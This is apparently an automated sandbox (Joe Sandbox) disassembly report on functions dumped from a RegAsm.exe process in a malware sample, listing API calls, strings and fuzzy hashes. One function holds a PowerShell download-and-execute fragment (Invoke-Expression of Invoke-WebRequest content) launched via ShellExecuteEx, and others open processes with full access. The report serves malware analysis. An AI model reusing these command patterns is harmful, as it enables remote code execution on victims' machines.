API String ID: 0-2988319395
Opcode ID: acd9c4651e3a2edf4b6a59b3cf8f862b640366037497b76802bc61b286b79d88
Instruction ID: 6cc8f17359c04affe67f28a1228e902adfea884fcf89a1069d1a31e20f0797d8
Opcode Fuzzy Hash: acd9c4651e3a2edf4b6a59b3cf8f862b640366037497b76802bc61b286b79d88
Instruction Fuzzy Hash: B9D1B2B49003419BEB108F34DCC5B9A77E8BFA4715F04892CE89A97341F7B5E549CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B52EF60 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

,origin, xrefs: 1B52F0D6, 1B52F0DE

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: ,origin
API String ID: 0-4198660907
Opcode ID: 5640ac008edb398939e79864a2eea28a8b2a0218eb70ec90ebc6e92bbb6e3774
Instruction ID: 1319fd2117e04ac59bbb64e22e3d03c211cd0cc67d989766b5400cb7c27cca8f
Opcode Fuzzy Hash: 5640ac008edb398939e79864a2eea28a8b2a0218eb70ec90ebc6e92bbb6e3774
Instruction Fuzzy Hash: 6171BFB1504300EFDB11AF58E880A9BBBB5FF98340F944D6CE98687260E733E854DB52

Uniqueness

Uniqueness Score: -1.00%

Function 1B574B10 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 156COMMON

Download Yara Rule

Strings

UNIQUE constraint failed: %s.%s, xrefs: 1B574BC9
misuse, xrefs: 1B574C34
API called with finalized prepared statement, xrefs: 1B574C1E
rtree constraint failed: %s.(%s<=%s), xrefs: 1B574BF9
SELECT * FROM %Q.%Q, xrefs: 1B574B25
%s at line %d of [%.10s], xrefs: 1B574C39
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B574C2A

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$SELECT * FROM %Q.%Q$UNIQUE constraint failed: %s.%s$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$rtree constraint failed: %s.(%s<=%s)
API String ID: 0-2013246442
Opcode ID: fe2422c0eeb676f56bfd4ac87b61ad8d6aa9e075785fa95ca4230c676291f0d0
Instruction ID: 8d0041b5dca52238b8112e4faa944a676c0565abc299b14a867d82447594b1e6
Opcode Fuzzy Hash: fe2422c0eeb676f56bfd4ac87b61ad8d6aa9e075785fa95ca4230c676291f0d0
Instruction Fuzzy Hash: 7C41F8B1B00215AFFB016F65DC89FEB3BACEFA4615F40492CFD4996201E721E94487B2

Uniqueness

Uniqueness Score: -1.00%

Function 1B627C10 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 150COMMON

Download Yara Rule

Strings

winFullPathname1, xrefs: 1B627CC9
winFullPathname2, xrefs: 1B627D35
%s%c%s, xrefs: 1B627C7A

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s%c%s$winFullPathname1$winFullPathname2
API String ID: 0-2846052723
Opcode ID: f0deb81bf8e90758d0af503148d34d6a153f63d40c7ccd25d4c0e3813338b395
Instruction ID: 20eb33c573c18f5759bb85da16ce8de0eaca7303382cd8988b704e99271d17d6
Opcode Fuzzy Hash: f0deb81bf8e90758d0af503148d34d6a153f63d40c7ccd25d4c0e3813338b395
Instruction Fuzzy Hash: 1241CBE1A053522FFB105630FC82FFB3B999FA5225F4445ADF8CA55240D72AEC06DA62

Uniqueness

Uniqueness Score: -1.00%

Function 1B61AAD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 130COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B61AB15, 1B61AB56, 1B61ABAA
API called with finalized prepared statement, xrefs: 1B61AAEF
%s at line %d of [%.10s], xrefs: 1B61AB1A, 1B61AB5B, 1B61ABAF
API called with NULL prepared statement, xrefs: 1B61AAD9
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B61AB0B, 1B61AB4C, 1B61ABA0
bind on a busy prepared statement: [%s], xrefs: 1B61AB94

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3679126755
Opcode ID: 35d508b1fd29fc548c51e884b8034fed4c14869480faa1c870e500c3ed948e30
Instruction ID: 855a19b5bed7676a11c6c2119c23024a052b9817b84dd65052f8992255321ef8
Opcode Fuzzy Hash: 35d508b1fd29fc548c51e884b8034fed4c14869480faa1c870e500c3ed948e30
Instruction Fuzzy Hash: 5041D4F17007409BEB109F68EC86FDA76E5AFA4316F058528F5A9DF381E760E480C761

Uniqueness

Uniqueness Score: -1.00%

Function 00411CF6 Relevance: 19.7, APIs: 13, Instructions: 186stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411CFB
memset.MSVCRT ref: 00411D1C
memset.MSVCRT ref: 00411D2A

Part of subcall function 0040FD0C: SHGetFolderPathA.SHELL32(00000000,{LB,00000000,00000000,?), ref: 0040FD3D

lstrcat.KERNEL32(?,00000000), ref: 00411D56
lstrcat.KERNEL32(?), ref: 00411D74
lstrcat.KERNEL32(?,?), ref: 00411D88
lstrcat.KERNEL32(?), ref: 00411D9B

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040FCC8: _EH_prolog.MSVCRT ref: 0040FCCD
Part of subcall function 0040FCC8: GetFileAttributesA.KERNEL32(00000000,?,0040CB40,?,?,?,?), ref: 0040FCE1

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040B20D: _EH_prolog.MSVCRT ref: 0040B212
Part of subcall function 0040B20D: StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040B265
Part of subcall function 0040B20D: memcmp.MSVCRT ref: 0040B2A3

Part of subcall function 004061D7: _EH_prolog.MSVCRT ref: 004061DC
Part of subcall function 004061D7: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061FF
Part of subcall function 004061D7: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00406216
Part of subcall function 004061D7: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00406232
Part of subcall function 004061D7: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0040624C
Part of subcall function 004061D7: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040626D

Part of subcall function 0040FF83: GlobalAlloc.KERNEL32(00000000,00411E29,00000000,00000000,?,00411E29,?,?), ref: 0040FF8E

StrStrA.SHLWAPI(00000000), ref: 00411E35
GlobalFree.KERNEL32(?), ref: 00411F04

Part of subcall function 0040628E: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,EY@,00000000,00000000), ref: 004062AE
Part of subcall function 0040628E: LocalAlloc.KERNEL32(00000040,EY@,?,?,00405945,00000000,?,?), ref: 004062BC
Part of subcall function 0040628E: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,EY@,00000000,00000000), ref: 004062D2
Part of subcall function 0040628E: LocalFree.KERNEL32(00000000,?,?,00405945,00000000,?,?), ref: 004062E1

Part of subcall function 004063FD: _EH_prolog.MSVCRT ref: 00406402
Part of subcall function 004063FD: memcmp.MSVCRT ref: 00406428
Part of subcall function 004063FD: memset.MSVCRT ref: 00406457
Part of subcall function 004063FD: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00000000,00000000), ref: 0040648C

lstrcat.KERNEL32(?,00000000), ref: 00411EAA
StrCmpCA.SHLWAPI(?,004254B7,?,?,?,?,000003E8), ref: 00411EC7
lstrcat.KERNEL32(?,?), ref: 00411EE0
lstrcat.KERNEL32(?,0042582C), ref: 00411EEE

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$AllocFileLocal$memset$BinaryCryptFreeGlobalStringmemcmp$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 174962345-0
Opcode ID: 37bfc29a56c593fef6d67d804f7408912f80468a4bbf4b971a8d5b943ce52b75
Instruction ID: 56ea6d3dff1061707347a20c97a69aacfd6141a5f24feec01e68d33a614e3916
Opcode Fuzzy Hash: 37bfc29a56c593fef6d67d804f7408912f80468a4bbf4b971a8d5b943ce52b75
Instruction Fuzzy Hash: 66611EB2D0121DAECF11EBE1DC46DEE7BBDAB19304F00047AF605F3151E6399A588BA5

Uniqueness

Uniqueness Score: -1.00%

Function 1B5BECF0 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 335COMMON

Download Yara Rule

Strings

content, xrefs: 1B5BEFDF
docsize, xrefs: 1B5BF020

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: content$docsize
API String ID: 0-1024698521
Opcode ID: 8efad659e46b9c5cb987590d2f3cfeeb7426b8a08abe3c9546018d2a80485d8f
Instruction ID: a98ed67e83c156204f3873bdbb90849b4f47eaba56223dd6135a5edc71db07db
Opcode Fuzzy Hash: 8efad659e46b9c5cb987590d2f3cfeeb7426b8a08abe3c9546018d2a80485d8f
Instruction Fuzzy Hash: 14C10171D04356ABEB11DF24C981BDBB7E6AF84310F054928FD85A7250E372EC89CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0041174A Relevance: 19.6, APIs: 2, Strings: 9, Instructions: 310COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041174F

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040FB47: _EH_prolog.MSVCRT ref: 0040FB4C
Part of subcall function 0040FB47: GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

ShellExecuteEx.SHELL32(0000003C), ref: 00411B1E

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Invoke-Expression (Invoke-WebRequest -Uri ", xrefs: 0041184B
" -UseBasicParsing).Content, xrefs: 0041186F
*.ps1, xrefs: 00411794
"" , xrefs: 004119A3
C:\ProgramData\, xrefs: 004118E3
<, xrefs: 00411AD6
C:\ProgramData\, xrefs: 004117B7
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 004118B4
.ps1, xrefs: 00411821

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: Invoke-Expression (Invoke-WebRequest -Uri "$" -UseBasicParsing).Content$"" $*.ps1$.ps1$<$C:\ProgramData\$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 585178538-186952963
Opcode ID: b320b2290c2ed4de86da97ffb2adf623fffe1fcda058c910bc0b37f781464592
Instruction ID: 9ecd63cdeb7db8a61a94a24a18639f88c6bdacdaded08a3f6ee19dfbbe3e3d40
Opcode Fuzzy Hash: b320b2290c2ed4de86da97ffb2adf623fffe1fcda058c910bc0b37f781464592
Instruction Fuzzy Hash: E9D15EB0801248EADB05EBE2C956FDDBBB8AF15308F5044AEE545731C2DB781B18DB76

Uniqueness

Uniqueness Score: -1.00%

Function 1B545470 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 225COMMON

Download Yara Rule

Strings

JSON cannot hold BLOB values, xrefs: 1B545697
%lld, xrefs: 1B54550D
%!0.15g, xrefs: 1B5454D2

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %!0.15g$%lld$JSON cannot hold BLOB values
API String ID: 0-1047910854
Opcode ID: f34e9dfc98a6c8a3a314860764c6224638df87583013990de40d5b6703e7763c
Instruction ID: 1ed7747d37408d4aa1c49579777836e2a6f4bce294278fbcb21e5b3adbf2f919
Opcode Fuzzy Hash: f34e9dfc98a6c8a3a314860764c6224638df87583013990de40d5b6703e7763c
Instruction Fuzzy Hash: 86519C7A5002007AFB105B28FC42FFE7B66DFC6329F34025DF94547682FB67A55642A1

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C2B70 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 183COMMON

Download Yara Rule

Strings

ABLE x, xrefs: 1B4C2BB6
("%s", xrefs: 1B4C2C4A
,schema HIDDEN, xrefs: 1B4C2CD2
%c"%s", xrefs: 1B4C2C1B
,arg HIDDEN, xrefs: 1B4C2C7A

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %c"%s"$("%s"$,arg HIDDEN$,schema HIDDEN$ABLE x
API String ID: 0-1763475469
Opcode ID: cfb7e22c006e2c807542c7918f148a1b48c351897e3256e215b4b7555e8d694d
Instruction ID: 085640a4cbca69a8cfe42827d89b64b38abc0ef0b980d8805081b6fc83ad3d14
Opcode Fuzzy Hash: cfb7e22c006e2c807542c7918f148a1b48c351897e3256e215b4b7555e8d694d
Instruction Fuzzy Hash: C5719278808386DBD704CF24D840B9BBBE4FFA8704F008A5EF99997241E775E549CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0040E678 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040E67D
??_U@YAPAXI@Z.MSVCRT ref: 0040E693
OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000), ref: 0040E6B5
memset.MSVCRT ref: 0040E6F7
??_V@YAXPAX@Z.MSVCRT ref: 0040E830

Part of subcall function 0040D1D6: strlen.MSVCRT ref: 0040D1ED

Part of subcall function 0040CD90: memcpy.MSVCRT ref: 0040CDB0

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0040E70F, 0040E7F8
N0ZWFt, xrefs: 0040E79A, 0040E7A7

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologOpenProcessmemcpymemsetstrlen
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30$N0ZWFt
API String ID: 3050127167-1622206642
Opcode ID: 701ba4fa2b1a171a60f3fb8e5d521b8617fd806ba654350b00242465403191ad
Instruction ID: 839985bfb7f102bcbe3af91687aa45d7aa919cac8a527869c7fc28f0c9758264
Opcode Fuzzy Hash: 701ba4fa2b1a171a60f3fb8e5d521b8617fd806ba654350b00242465403191ad
Instruction Fuzzy Hash: 22518F71D04219AEDB14EB91DC82AEEBBB9EF04314F20057EF104B72C1DB785E948B59

Uniqueness

Uniqueness Score: -1.00%

Function 1B53AA40 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 334COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B53AAC2, 1B53AD8C
API called with finalized prepared statement, xrefs: 1B53AA9C, 1B53AD76
%s at line %d of [%.10s], xrefs: 1B53AAC7, 1B53AD91
API called with NULL prepared statement, xrefs: 1B53AA87
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B53AAB8, 1B53AD82

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 205c74e4c884be0eda76af671c4c159afdd2d18b7ba678e284a3c9e1021343f4
Instruction ID: 33a14e2a5db6c5dc410bd436a1b71204d6af721b936652765011b8a977176d47
